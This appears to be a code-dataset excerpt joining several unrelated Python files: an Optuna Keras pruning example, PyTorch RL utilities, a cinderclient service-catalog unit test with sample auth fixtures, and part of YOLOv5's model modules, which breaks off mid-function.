batch_size=BATCHSIZE,
callbacks=[KerasPruningCallback(trial, "val_accuracy")],
epochs=EPOCHS,
validation_data=(x_valid, y_valid),
verbose=1,
)
score = model.evaluate(x_valid, y_valid, verbose=0)
return score[1]
if __name__ == "__main__":
warnings.warn(
"Recent Keras release (2.4.0) simply redirects all APIs "
"in the standalone keras package to point to tf.keras. "
"There is now only one Keras: tf.keras. "
"There may be some breaking changes for some workflows by upgrading to keras 2.4.0. "
"Test before upgrading. "
"REF:https://github.com/keras-team/keras/releases/tag/2.4.0"
)
study = optuna.create_study(direction="maximize", pruner=optuna.pruners.MedianPruner())
study.optimize(objective, n_trials=100)
pruned_trials = [t for t in study.trials if t.state == optuna.trial.TrialState.PRUNED]
complete_trials = [t for t in study.trials if t.state == optuna.trial.TrialState.COMPLETE]
print("Study statistics: ")
print(" Number of finished trials: ", len(study.trials))
print(" Number of pruned trials: ", len(pruned_trials))
print(" Number of complete trials: ", len(complete_trials))
print("Best trial:")
trial = study.best_trial
print(" Value: ", trial.value)
print(" Params: ")
for key, value in trial.params.items():
print(" {}: {}".format(key, value))
| true | true |
f7f35b70fabf0d2c600717460efddad9da31ff94 | 3,921 | py | Python | deep_rl/utils/torch_utils.py | hodamr/biu-advenced-ai-ex2 | 2df6eb7ed389378326bd5c24fae43a65f190d221 | [
"Apache-2.0"
] | null | null | null | deep_rl/utils/torch_utils.py | hodamr/biu-advenced-ai-ex2 | 2df6eb7ed389378326bd5c24fae43a65f190d221 | [
"Apache-2.0"
] | null | null | null | deep_rl/utils/torch_utils.py | hodamr/biu-advenced-ai-ex2 | 2df6eb7ed389378326bd5c24fae43a65f190d221 | [
"Apache-2.0"
] | null | null | null | #######################################################################
# Copyright (C) 2017 Shangtong Zhang(zhangshangtong.cpp@gmail.com) #
# Permission given to modify the code as long as you keep this #
# declaration at the top #
#######################################################################
from .config import *
import torch
import torch.autograd as autograd
import os
def select_device(gpu_id):
# if torch.cuda.is_available() and gpu_id >= 0:
if gpu_id >= 0:
Config.DEVICE = torch.device('cuda:%d' % (gpu_id))
else:
Config.DEVICE = torch.device('cpu')
def tensor(x):
if isinstance(x, torch.Tensor):
return x
x = torch.tensor(x, device=Config.DEVICE, dtype=torch.float32)
return x
def range_tensor(end):
return torch.arange(end).long().to(Config.DEVICE)
def to_np(t):
return t.cpu().detach().numpy()
def random_seed(seed=None):
np.random.seed(seed)
torch.manual_seed(np.random.randint(int(1e6)))
def set_one_thread():
os.environ['OMP_NUM_THREADS'] = '1'
os.environ['MKL_NUM_THREADS'] = '1'
torch.set_num_threads(1)
def huber(x, k=1.0):
return torch.where(x.abs() < k, 0.5 * x.pow(2), k * (x.abs() - 0.5 * k))
def epsilon_greedy(epsilon, x):
if len(x.shape) == 1:
return np.random.randint(len(x)) if np.random.rand() < epsilon else np.argmax(x)
elif len(x.shape) == 2:
random_actions = np.random.randint(x.shape[1], size=x.shape[0])
greedy_actions = np.argmax(x, axis=-1)
dice = np.random.rand(x.shape[0])
return np.where(dice < epsilon, random_actions, greedy_actions)
def sync_grad(target_network, src_network):
for param, src_param in zip(target_network.parameters(), src_network.parameters()):
param._grad = src_param.grad.clone()
# adapted from https://github.com/pytorch/pytorch/issues/12160
def batch_diagonal(input):
# idea from here: https://discuss.pytorch.org/t/batch-of-diagonal-matrix/13560
# batches a stack of vectors (batch x N) -> a stack of diagonal matrices (batch x N x N)
# works in 2D -> 3D, should also work in higher dimensions
# make a zero matrix, which duplicates the last dim of input
dims = input.size()
dims = dims + dims[-1:]
output = torch.zeros(dims, device=input.device)
# stride across the first dimensions, add one to get the diagonal of the last dimension
strides = [output.stride(i) for i in range(input.dim() - 1 )]
strides.append(output.size(-1) + 1)
# stride and copy the input to the diagonal
output.as_strided(input.size(), strides).copy_(input)
return output
def batch_trace(input):
i = range_tensor(input.size(-1))
t = input[:, i, i].sum(-1).unsqueeze(-1).unsqueeze(-1)
return t
class DiagonalNormal:
def __init__(self, mean, std):
self.dist = torch.distributions.Normal(mean, std)
self.sample = self.dist.sample
def log_prob(self, action):
return self.dist.log_prob(action).sum(-1).unsqueeze(-1)
def entropy(self):
return self.dist.entropy().sum(-1).unsqueeze(-1)
def cdf(self, action):
return self.dist.cdf(action).prod(-1).unsqueeze(-1)
class BatchCategorical:
def __init__(self, logits):
self.pre_shape = logits.size()[:-1]
logits = logits.view(-1, logits.size(-1))
self.dist = torch.distributions.Categorical(logits=logits)
def log_prob(self, action):
log_pi = self.dist.log_prob(action.view(-1))
log_pi = log_pi.view(action.size()[:-1] + (-1, ))
return log_pi
def entropy(self):
ent = self.dist.entropy()
ent = ent.view(self.pre_shape + (-1, ))
return ent
def sample(self, sample_shape=torch.Size([])):
ret = self.dist.sample(sample_shape)
ret = ret.view(sample_shape + self.pre_shape + (-1, ))
return ret
| 34.699115 | 92 | 0.61974 | true | true | |
f7f35b95330db971423bc1fa396be77e0bd4e79d | 10,481 | py | Python | cinderclient/tests/unit/test_service_catalog.py | scottdangelo/cinderclient-api-microversions | a0df4c76f2959ffed08cf65fd53de03484b1c0bc | [
"CNRI-Python",
"Apache-1.1"
] | null | null | null | cinderclient/tests/unit/test_service_catalog.py | scottdangelo/cinderclient-api-microversions | a0df4c76f2959ffed08cf65fd53de03484b1c0bc | [
"CNRI-Python",
"Apache-1.1"
] | null | null | null | cinderclient/tests/unit/test_service_catalog.py | scottdangelo/cinderclient-api-microversions | a0df4c76f2959ffed08cf65fd53de03484b1c0bc | [
"CNRI-Python",
"Apache-1.1"
] | null | null | null | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from cinderclient import exceptions
from cinderclient import service_catalog
from cinderclient.tests.unit import utils
# Taken directly from keystone/content/common/samples/auth.json
# Do not edit this structure. Instead, grab the latest from there.
SERVICE_CATALOG = {
"access": {
"token": {
"id": "ab48a9efdfedb23ty3494",
"expires": "2010-11-01T03:32:15-05:00",
"tenant": {
"id": "345",
"name": "My Project"
}
},
"user": {
"id": "123",
"name": "jqsmith",
"roles": [
{
"id": "234",
"name": "compute:admin",
},
{
"id": "235",
"name": "object-store:admin",
"tenantId": "1",
}
],
"roles_links": [],
},
"serviceCatalog": [
{
"name": "Cloud Servers",
"type": "compute",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://compute1.host/v1/1234",
"internalURL": "https://compute1.host/v1/1234",
"region": "North",
"versionId": "1.0",
"versionInfo": "https://compute1.host/v1/",
"versionList": "https://compute1.host/"
},
{
"tenantId": "2",
"publicURL": "https://compute1.host/v1/3456",
"internalURL": "https://compute1.host/v1/3456",
"region": "North",
"versionId": "1.1",
"versionInfo": "https://compute1.host/v1/",
"versionList": "https://compute1.host/"
},
],
"endpoints_links": [],
},
{
"name": "Cinder Volume Service",
"type": "volume",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://volume1.host/v1/1234",
"internalURL": "https://volume1.host/v1/1234",
"region": "South",
"versionId": "1.0",
"versionInfo": "uri",
"versionList": "uri"
},
{
"tenantId": "2",
"publicURL": "https://volume1.host/v1/3456",
"internalURL": "https://volume1.host/v1/3456",
"region": "South",
"versionId": "1.1",
"versionInfo": "https://volume1.host/v1/",
"versionList": "https://volume1.host/"
},
],
"endpoints_links": [
{
"rel": "next",
"href": "https://identity1.host/v2.0/endpoints"
},
],
},
{
"name": "Cinder Volume Service V2",
"type": "volumev2",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://volume1.host/v2/1234",
"internalURL": "https://volume1.host/v2/1234",
"region": "South",
"versionId": "2.0",
"versionInfo": "uri",
"versionList": "uri"
},
{
"tenantId": "2",
"publicURL": "https://volume1.host/v2/3456",
"internalURL": "https://volume1.host/v2/3456",
"region": "South",
"versionId": "1.1",
"versionInfo": "https://volume1.host/v2/",
"versionList": "https://volume1.host/"
},
],
"endpoints_links": [
{
"rel": "next",
"href": "https://identity1.host/v2.0/endpoints"
},
],
},
],
"serviceCatalog_links": [
{
"rel": "next",
"href": "https://identity.host/v2.0/endpoints?session=2hfh8Ar",
},
],
},
}
SERVICE_COMPATIBILITY_CATALOG = {
"access": {
"token": {
"id": "ab48a9efdfedb23ty3494",
"expires": "2010-11-01T03:32:15-05:00",
"tenant": {
"id": "345",
"name": "My Project"
}
},
"user": {
"id": "123",
"name": "jqsmith",
"roles": [
{
"id": "234",
"name": "compute:admin",
},
{
"id": "235",
"name": "object-store:admin",
"tenantId": "1",
}
],
"roles_links": [],
},
"serviceCatalog": [
{
"name": "Cloud Servers",
"type": "compute",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://compute1.host/v1/1234",
"internalURL": "https://compute1.host/v1/1234",
"region": "North",
"versionId": "1.0",
"versionInfo": "https://compute1.host/v1/",
"versionList": "https://compute1.host/"
},
{
"tenantId": "2",
"publicURL": "https://compute1.host/v1/3456",
"internalURL": "https://compute1.host/v1/3456",
"region": "North",
"versionId": "1.1",
"versionInfo": "https://compute1.host/v1/",
"versionList": "https://compute1.host/"
},
],
"endpoints_links": [],
},
{
"name": "Cinder Volume Service V2",
"type": "volume",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://volume1.host/v2/1234",
"internalURL": "https://volume1.host/v2/1234",
"region": "South",
"versionId": "2.0",
"versionInfo": "uri",
"versionList": "uri"
},
{
"tenantId": "2",
"publicURL": "https://volume1.host/v2/3456",
"internalURL": "https://volume1.host/v2/3456",
"region": "South",
"versionId": "1.1",
"versionInfo": "https://volume1.host/v2/",
"versionList": "https://volume1.host/"
},
],
"endpoints_links": [
{
"rel": "next",
"href": "https://identity1.host/v2.0/endpoints"
},
],
},
],
"serviceCatalog_links": [
{
"rel": "next",
"href": "https://identity.host/v2.0/endpoints?session=2hfh8Ar",
},
],
},
}
class ServiceCatalogTest(utils.TestCase):
def test_building_a_service_catalog(self):
sc = service_catalog.ServiceCatalog(SERVICE_CATALOG)
self.assertRaises(exceptions.AmbiguousEndpoints, sc.url_for,
service_type='compute')
self.assertEqual("https://compute1.host/v1/1234",
sc.url_for('tenantId', '1', service_type='compute'))
self.assertEqual("https://compute1.host/v1/3456",
sc.url_for('tenantId', '2', service_type='compute'))
self.assertRaises(exceptions.EndpointNotFound, sc.url_for,
"region", "South", service_type='compute')
def test_alternate_service_type(self):
sc = service_catalog.ServiceCatalog(SERVICE_CATALOG)
self.assertRaises(exceptions.AmbiguousEndpoints, sc.url_for,
service_type='volume')
self.assertEqual("https://volume1.host/v1/1234",
sc.url_for('tenantId', '1', service_type='volume'))
self.assertEqual("https://volume1.host/v1/3456",
sc.url_for('tenantId', '2', service_type='volume'))
self.assertEqual("https://volume1.host/v2/3456",
sc.url_for('tenantId', '2', service_type='volumev2'))
self.assertEqual("https://volume1.host/v2/3456",
sc.url_for('tenantId', '2', service_type='volumev2'))
self.assertRaises(exceptions.EndpointNotFound, sc.url_for,
"region", "North", service_type='volume')
def test_compatibility_service_type(self):
sc = service_catalog.ServiceCatalog(SERVICE_COMPATIBILITY_CATALOG)
self.assertEqual("https://volume1.host/v2/1234",
sc.url_for('tenantId', '1', service_type='volume'))
self.assertEqual("https://volume1.host/v2/3456",
sc.url_for('tenantId', '2', service_type='volume'))
| 37.974638 | 79 | 0.403874 |
from cinderclient import exceptions
from cinderclient import service_catalog
from cinderclient.tests.unit import utils
SERVICE_CATALOG = {
"access": {
"token": {
"id": "ab48a9efdfedb23ty3494",
"expires": "2010-11-01T03:32:15-05:00",
"tenant": {
"id": "345",
"name": "My Project"
}
},
"user": {
"id": "123",
"name": "jqsmith",
"roles": [
{
"id": "234",
"name": "compute:admin",
},
{
"id": "235",
"name": "object-store:admin",
"tenantId": "1",
}
],
"roles_links": [],
},
"serviceCatalog": [
{
"name": "Cloud Servers",
"type": "compute",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://compute1.host/v1/1234",
"internalURL": "https://compute1.host/v1/1234",
"region": "North",
"versionId": "1.0",
"versionInfo": "https://compute1.host/v1/",
"versionList": "https://compute1.host/"
},
{
"tenantId": "2",
"publicURL": "https://compute1.host/v1/3456",
"internalURL": "https://compute1.host/v1/3456",
"region": "North",
"versionId": "1.1",
"versionInfo": "https://compute1.host/v1/",
"versionList": "https://compute1.host/"
},
],
"endpoints_links": [],
},
{
"name": "Cinder Volume Service",
"type": "volume",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://volume1.host/v1/1234",
"internalURL": "https://volume1.host/v1/1234",
"region": "South",
"versionId": "1.0",
"versionInfo": "uri",
"versionList": "uri"
},
{
"tenantId": "2",
"publicURL": "https://volume1.host/v1/3456",
"internalURL": "https://volume1.host/v1/3456",
"region": "South",
"versionId": "1.1",
"versionInfo": "https://volume1.host/v1/",
"versionList": "https://volume1.host/"
},
],
"endpoints_links": [
{
"rel": "next",
"href": "https://identity1.host/v2.0/endpoints"
},
],
},
{
"name": "Cinder Volume Service V2",
"type": "volumev2",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://volume1.host/v2/1234",
"internalURL": "https://volume1.host/v2/1234",
"region": "South",
"versionId": "2.0",
"versionInfo": "uri",
"versionList": "uri"
},
{
"tenantId": "2",
"publicURL": "https://volume1.host/v2/3456",
"internalURL": "https://volume1.host/v2/3456",
"region": "South",
"versionId": "1.1",
"versionInfo": "https://volume1.host/v2/",
"versionList": "https://volume1.host/"
},
],
"endpoints_links": [
{
"rel": "next",
"href": "https://identity1.host/v2.0/endpoints"
},
],
},
],
"serviceCatalog_links": [
{
"rel": "next",
"href": "https://identity.host/v2.0/endpoints?session=2hfh8Ar",
},
],
},
}
SERVICE_COMPATIBILITY_CATALOG = {
"access": {
"token": {
"id": "ab48a9efdfedb23ty3494",
"expires": "2010-11-01T03:32:15-05:00",
"tenant": {
"id": "345",
"name": "My Project"
}
},
"user": {
"id": "123",
"name": "jqsmith",
"roles": [
{
"id": "234",
"name": "compute:admin",
},
{
"id": "235",
"name": "object-store:admin",
"tenantId": "1",
}
],
"roles_links": [],
},
"serviceCatalog": [
{
"name": "Cloud Servers",
"type": "compute",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://compute1.host/v1/1234",
"internalURL": "https://compute1.host/v1/1234",
"region": "North",
"versionId": "1.0",
"versionInfo": "https://compute1.host/v1/",
"versionList": "https://compute1.host/"
},
{
"tenantId": "2",
"publicURL": "https://compute1.host/v1/3456",
"internalURL": "https://compute1.host/v1/3456",
"region": "North",
"versionId": "1.1",
"versionInfo": "https://compute1.host/v1/",
"versionList": "https://compute1.host/"
},
],
"endpoints_links": [],
},
{
"name": "Cinder Volume Service V2",
"type": "volume",
"endpoints": [
{
"tenantId": "1",
"publicURL": "https://volume1.host/v2/1234",
"internalURL": "https://volume1.host/v2/1234",
"region": "South",
"versionId": "2.0",
"versionInfo": "uri",
"versionList": "uri"
},
{
"tenantId": "2",
"publicURL": "https://volume1.host/v2/3456",
"internalURL": "https://volume1.host/v2/3456",
"region": "South",
"versionId": "1.1",
"versionInfo": "https://volume1.host/v2/",
"versionList": "https://volume1.host/"
},
],
"endpoints_links": [
{
"rel": "next",
"href": "https://identity1.host/v2.0/endpoints"
},
],
},
],
"serviceCatalog_links": [
{
"rel": "next",
"href": "https://identity.host/v2.0/endpoints?session=2hfh8Ar",
},
],
},
}
class ServiceCatalogTest(utils.TestCase):
def test_building_a_service_catalog(self):
sc = service_catalog.ServiceCatalog(SERVICE_CATALOG)
self.assertRaises(exceptions.AmbiguousEndpoints, sc.url_for,
service_type='compute')
self.assertEqual("https://compute1.host/v1/1234",
sc.url_for('tenantId', '1', service_type='compute'))
self.assertEqual("https://compute1.host/v1/3456",
sc.url_for('tenantId', '2', service_type='compute'))
self.assertRaises(exceptions.EndpointNotFound, sc.url_for,
"region", "South", service_type='compute')
def test_alternate_service_type(self):
sc = service_catalog.ServiceCatalog(SERVICE_CATALOG)
self.assertRaises(exceptions.AmbiguousEndpoints, sc.url_for,
service_type='volume')
self.assertEqual("https://volume1.host/v1/1234",
sc.url_for('tenantId', '1', service_type='volume'))
self.assertEqual("https://volume1.host/v1/3456",
sc.url_for('tenantId', '2', service_type='volume'))
self.assertEqual("https://volume1.host/v2/3456",
sc.url_for('tenantId', '2', service_type='volumev2'))
self.assertEqual("https://volume1.host/v2/3456",
sc.url_for('tenantId', '2', service_type='volumev2'))
self.assertRaises(exceptions.EndpointNotFound, sc.url_for,
"region", "North", service_type='volume')
def test_compatibility_service_type(self):
sc = service_catalog.ServiceCatalog(SERVICE_COMPATIBILITY_CATALOG)
self.assertEqual("https://volume1.host/v2/1234",
sc.url_for('tenantId', '1', service_type='volume'))
self.assertEqual("https://volume1.host/v2/3456",
sc.url_for('tenantId', '2', service_type='volume'))
| true | true |
f7f35c0f9f5c83ed0f21567989d81c857dbbd58f | 20,090 | py | Python | models/common.py | KidChou/yolov5_prune | 126054962197a51c79140384c591b9190d146019 | [
"Apache-2.0"
] | 190 | 2021-08-23T14:44:16.000Z | 2022-03-30T10:29:11.000Z | models/common.py | KidChou/yolov5_prune | 126054962197a51c79140384c591b9190d146019 | [
"Apache-2.0"
] | 9 | 2021-08-25T02:54:23.000Z | 2022-02-24T02:31:38.000Z | models/common.py | KidChou/yolov5_prune | 126054962197a51c79140384c591b9190d146019 | [
"Apache-2.0"
] | 56 | 2021-08-23T15:42:23.000Z | 2022-03-29T02:26:05.000Z | # YOLOv5 🚀 by Ultralytics, GPL-3.0 license
"""
Common modules
"""
import logging
import math
import warnings
from copy import copy
from pathlib import Path
import numpy as np
import pandas as pd
import requests
import torch
import torch.nn as nn
from PIL import Image
from torch.cuda import amp
from utils.datasets import exif_transpose, letterbox
from utils.general import colorstr, increment_path, make_divisible, non_max_suppression, save_one_box, \
scale_coords, xyxy2xywh
from utils.plots import Annotator, colors
from utils.torch_utils import time_sync
LOGGER = logging.getLogger(__name__)
def autopad(k, p=None): # kernel, padding
# Pad to 'same'
if p is None:
p = k // 2 if isinstance(k, int) else [x // 2 for x in k] # auto-pad
return p
class Conv(nn.Module):
# Standard convolution
def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups
super().__init__()
self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False)
self.bn = nn.BatchNorm2d(c2)
self.act = nn.SiLU() if act is True else (act if isinstance(act, nn.Module) else nn.Identity())
def forward(self, x):
return self.act(self.bn(self.conv(x)))
def forward_fuse(self, x):
return self.act(self.conv(x))
class DWConv(Conv):
# Depth-wise convolution class
def __init__(self, c1, c2, k=1, s=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups
super().__init__(c1, c2, k, s, g=math.gcd(c1, c2), act=act)
class TransformerLayer(nn.Module):
# Transformer layer https://arxiv.org/abs/2010.11929 (LayerNorm layers removed for better performance)
def __init__(self, c, num_heads):
super().__init__()
self.q = nn.Linear(c, c, bias=False)
self.k = nn.Linear(c, c, bias=False)
self.v = nn.Linear(c, c, bias=False)
self.ma = nn.MultiheadAttention(embed_dim=c, num_heads=num_heads)
self.fc1 = nn.Linear(c, c, bias=False)
self.fc2 = nn.Linear(c, c, bias=False)
def forward(self, x):
x = self.ma(self.q(x), self.k(x), self.v(x))[0] + x
x = self.fc2(self.fc1(x)) + x
return x
class TransformerBlock(nn.Module):
# Vision Transformer https://arxiv.org/abs/2010.11929
def __init__(self, c1, c2, num_heads, num_layers):
super().__init__()
self.conv = None
if c1 != c2:
self.conv = Conv(c1, c2)
self.linear = nn.Linear(c2, c2) # learnable position embedding
self.tr = nn.Sequential(*[TransformerLayer(c2, num_heads) for _ in range(num_layers)])
self.c2 = c2
def forward(self, x):
if self.conv is not None:
x = self.conv(x)
b, _, w, h = x.shape
p = x.flatten(2).unsqueeze(0).transpose(0, 3).squeeze(3)
return self.tr(p + self.linear(p)).unsqueeze(3).transpose(0, 3).reshape(b, self.c2, w, h)
class Bottleneck(nn.Module):
# Standard bottleneck
def __init__(self, c1, c2, shortcut=True, g=1, e=0.5): # ch_in, ch_out, shortcut, groups, expansion
super().__init__()
c_ = int(c2 * e) # hidden channels
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = Conv(c_, c2, 3, 1, g=g)
self.add = shortcut and c1 == c2
def forward(self, x):
return x + self.cv2(self.cv1(x)) if self.add else self.cv2(self.cv1(x))
class BottleneckCSP(nn.Module):
# CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks
def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion
super().__init__()
c_ = int(c2 * e) # hidden channels
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = nn.Conv2d(c1, c_, 1, 1, bias=False)
self.cv3 = nn.Conv2d(c_, c_, 1, 1, bias=False)
self.cv4 = Conv(2 * c_, c2, 1, 1)
self.bn = nn.BatchNorm2d(2 * c_) # applied to cat(cv2, cv3)
self.act = nn.LeakyReLU(0.1, inplace=True)
self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)])
def forward(self, x):
y1 = self.cv3(self.m(self.cv1(x)))
y2 = self.cv2(x)
return self.cv4(self.act(self.bn(torch.cat((y1, y2), dim=1))))
class C3(nn.Module):
# CSP Bottleneck with 3 convolutions
def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion
super().__init__()
c_ = int(c2 * e) # hidden channels
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = Conv(c1, c_, 1, 1)
self.cv3 = Conv(2 * c_, c2, 1) # act=FReLU(c2)
self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)])
# self.m = nn.Sequential(*[CrossConv(c_, c_, 3, 1, g, 1.0, shortcut) for _ in range(n)])
def forward(self, x):
return self.cv3(torch.cat((self.m(self.cv1(x)), self.cv2(x)), dim=1))
class C3TR(C3):
# C3 module with TransformerBlock()
def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5):
super().__init__(c1, c2, n, shortcut, g, e)
c_ = int(c2 * e)
self.m = TransformerBlock(c_, c_, 4, n)
class C3SPP(C3):
# C3 module with SPP()
def __init__(self, c1, c2, k=(5, 9, 13), n=1, shortcut=True, g=1, e=0.5):
super().__init__(c1, c2, n, shortcut, g, e)
c_ = int(c2 * e)
self.m = SPP(c_, c_, k)
class C3Ghost(C3):
# C3 module with GhostBottleneck()
def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5):
super().__init__(c1, c2, n, shortcut, g, e)
c_ = int(c2 * e) # hidden channels
self.m = nn.Sequential(*[GhostBottleneck(c_, c_) for _ in range(n)])
class SPP(nn.Module):
# Spatial Pyramid Pooling (SPP) layer https://arxiv.org/abs/1406.4729
def __init__(self, c1, c2, k=(5, 9, 13)):
super().__init__()
c_ = c1 // 2 # hidden channels
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = Conv(c_ * (len(k) + 1), c2, 1, 1)
self.m = nn.ModuleList([nn.MaxPool2d(kernel_size=x, stride=1, padding=x // 2) for x in k])
def forward(self, x):
x = self.cv1(x)
with warnings.catch_warnings():
warnings.simplefilter('ignore') # suppress torch 1.9.0 max_pool2d() warning
return self.cv2(torch.cat([x] + [m(x) for m in self.m], 1))
class SPPF(nn.Module):
# Spatial Pyramid Pooling - Fast (SPPF) layer for YOLOv5 by Glenn Jocher
def __init__(self, c1, c2, k=5): # equivalent to SPP(k=(5, 9, 13))
super().__init__()
c_ = c1 // 2 # hidden channels
self.cv1 = Conv(c1, c_, 1, 1)
self.cv2 = Conv(c_ * 4, c2, 1, 1)
self.m = nn.MaxPool2d(kernel_size=k, stride=1, padding=k // 2)
def forward(self, x):
x = self.cv1(x)
with warnings.catch_warnings():
warnings.simplefilter('ignore') # suppress torch 1.9.0 max_pool2d() warning
y1 = self.m(x)
y2 = self.m(y1)
return self.cv2(torch.cat([x, y1, y2, self.m(y2)], 1))
class Focus(nn.Module):
# Focus wh information into c-space
def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups
super().__init__()
self.conv = Conv(c1 * 4, c2, k, s, p, g, act)
# self.contract = Contract(gain=2)
def forward(self, x): # x(b,c,w,h) -> y(b,4c,w/2,h/2)
return self.conv(torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1))
# return self.conv(self.contract(x))
class GhostConv(nn.Module):
# Ghost Convolution https://github.com/huawei-noah/ghostnet
def __init__(self, c1, c2, k=1, s=1, g=1, act=True): # ch_in, ch_out, kernel, stride, groups
super().__init__()
c_ = c2 // 2 # hidden channels
self.cv1 = Conv(c1, c_, k, s, None, g, act)
self.cv2 = Conv(c_, c_, 5, 1, None, c_, act)
def forward(self, x):
y = self.cv1(x)
return torch.cat([y, self.cv2(y)], 1)
class GhostBottleneck(nn.Module):
# Ghost Bottleneck https://github.com/huawei-noah/ghostnet
def __init__(self, c1, c2, k=3, s=1): # ch_in, ch_out, kernel, stride
super().__init__()
c_ = c2 // 2
self.conv = nn.Sequential(GhostConv(c1, c_, 1, 1), # pw
DWConv(c_, c_, k, s, act=False) if s == 2 else nn.Identity(), # dw
GhostConv(c_, c2, 1, 1, act=False)) # pw-linear
self.shortcut = nn.Sequential(DWConv(c1, c1, k, s, act=False),
Conv(c1, c2, 1, 1, act=False)) if s == 2 else nn.Identity()
def forward(self, x):
return self.conv(x) + self.shortcut(x)
class Contract(nn.Module):
# Contract width-height into channels, i.e. x(1,64,80,80) to x(1,256,40,40)
def __init__(self, gain=2):
super().__init__()
self.gain = gain
def forward(self, x):
b, c, h, w = x.size() # assert (h / s == 0) and (W / s == 0), 'Indivisible gain'
s = self.gain
x = x.view(b, c, h // s, s, w // s, s) # x(1,64,40,2,40,2)
x = x.permute(0, 3, 5, 1, 2, 4).contiguous() # x(1,2,2,64,40,40)
return x.view(b, c * s * s, h // s, w // s) # x(1,256,40,40)
class Expand(nn.Module):
# Expand channels into width-height, i.e. x(1,64,80,80) to x(1,16,160,160)
def __init__(self, gain=2):
super().__init__()
self.gain = gain
def forward(self, x):
b, c, h, w = x.size() # assert C / s ** 2 == 0, 'Indivisible gain'
s = self.gain
x = x.view(b, s, s, c // s ** 2, h, w) # x(1,2,2,16,80,80)
x = x.permute(0, 3, 4, 1, 5, 2).contiguous() # x(1,16,80,2,80,2)
return x.view(b, c // s ** 2, h * s, w * s) # x(1,16,160,160)
class Concat(nn.Module):
# Concatenate a list of tensors along dimension
def __init__(self, dimension=1):
super().__init__()
self.d = dimension
def forward(self, x):
return torch.cat(x, self.d)
class AutoShape(nn.Module):
# YOLOv5 input-robust model wrapper for passing cv2/np/PIL/torch inputs. Includes preprocessing, inference and NMS
conf = 0.25 # NMS confidence threshold
iou = 0.45 # NMS IoU threshold
classes = None # (optional list) filter by class
multi_label = False # NMS multiple labels per box
max_det = 1000 # maximum number of detections per image
def __init__(self, model):
super().__init__()
self.model = model.eval()
def autoshape(self):
LOGGER.info('AutoShape already enabled, skipping... ') # model already converted to model.autoshape()
return self
def _apply(self, fn):
# Apply to(), cpu(), cuda(), half() to model tensors that are not parameters or registered buffers
self = super()._apply(fn)
m = self.model.model[-1] # Detect()
m.stride = fn(m.stride)
m.grid = list(map(fn, m.grid))
if isinstance(m.anchor_grid, list):
m.anchor_grid = list(map(fn, m.anchor_grid))
return self
@torch.no_grad()
def forward(self, imgs, size=640, augment=False, profile=False):
# Inference from various sources. For height=640, width=1280, RGB images example inputs are:
# file: imgs = 'data/images/zidane.jpg' # str or PosixPath
# URI: = 'https://ultralytics.com/images/zidane.jpg'
# OpenCV: = cv2.imread('image.jpg')[:,:,::-1] # HWC BGR to RGB x(640,1280,3)
# PIL: = Image.open('image.jpg') or ImageGrab.grab() # HWC x(640,1280,3)
# numpy: = np.zeros((640,1280,3)) # HWC
# torch: = torch.zeros(16,3,320,640) # BCHW (scaled to size=640, 0-1 values)
# multiple: = [Image.open('image1.jpg'), Image.open('image2.jpg'), ...] # list of images
t = [time_sync()]
p = next(self.model.parameters()) # for device and type
if isinstance(imgs, torch.Tensor): # torch
with amp.autocast(enabled=p.device.type != 'cpu'):
return self.model(imgs.to(p.device).type_as(p), augment, profile) # inference
# Pre-process
n, imgs = (len(imgs), imgs) if isinstance(imgs, list) else (1, [imgs]) # number of images, list of images
shape0, shape1, files = [], [], [] # image and inference shapes, filenames
for i, im in enumerate(imgs):
f = f'image{i}' # filename
if isinstance(im, (str, Path)): # filename or uri
im, f = Image.open(requests.get(im, stream=True).raw if str(im).startswith('http') else im), im
im = np.asarray(exif_transpose(im))
elif isinstance(im, Image.Image): # PIL Image
im, f = np.asarray(exif_transpose(im)), getattr(im, 'filename', f) or f
files.append(Path(f).with_suffix('.jpg').name)
if im.shape[0] < 5: # image in CHW
im = im.transpose((1, 2, 0)) # reverse dataloader .transpose(2, 0, 1)
im = im[..., :3] if im.ndim == 3 else np.tile(im[..., None], 3) # enforce 3ch input
s = im.shape[:2] # HWC
shape0.append(s) # image shape
g = (size / max(s)) # gain
shape1.append([y * g for y in s])
imgs[i] = im if im.data.contiguous else np.ascontiguousarray(im) # update
shape1 = [make_divisible(x, int(self.stride.max())) for x in np.stack(shape1, 0).max(0)] # inference shape
x = [letterbox(im, new_shape=shape1, auto=False)[0] for im in imgs] # pad
x = np.stack(x, 0) if n > 1 else x[0][None] # stack
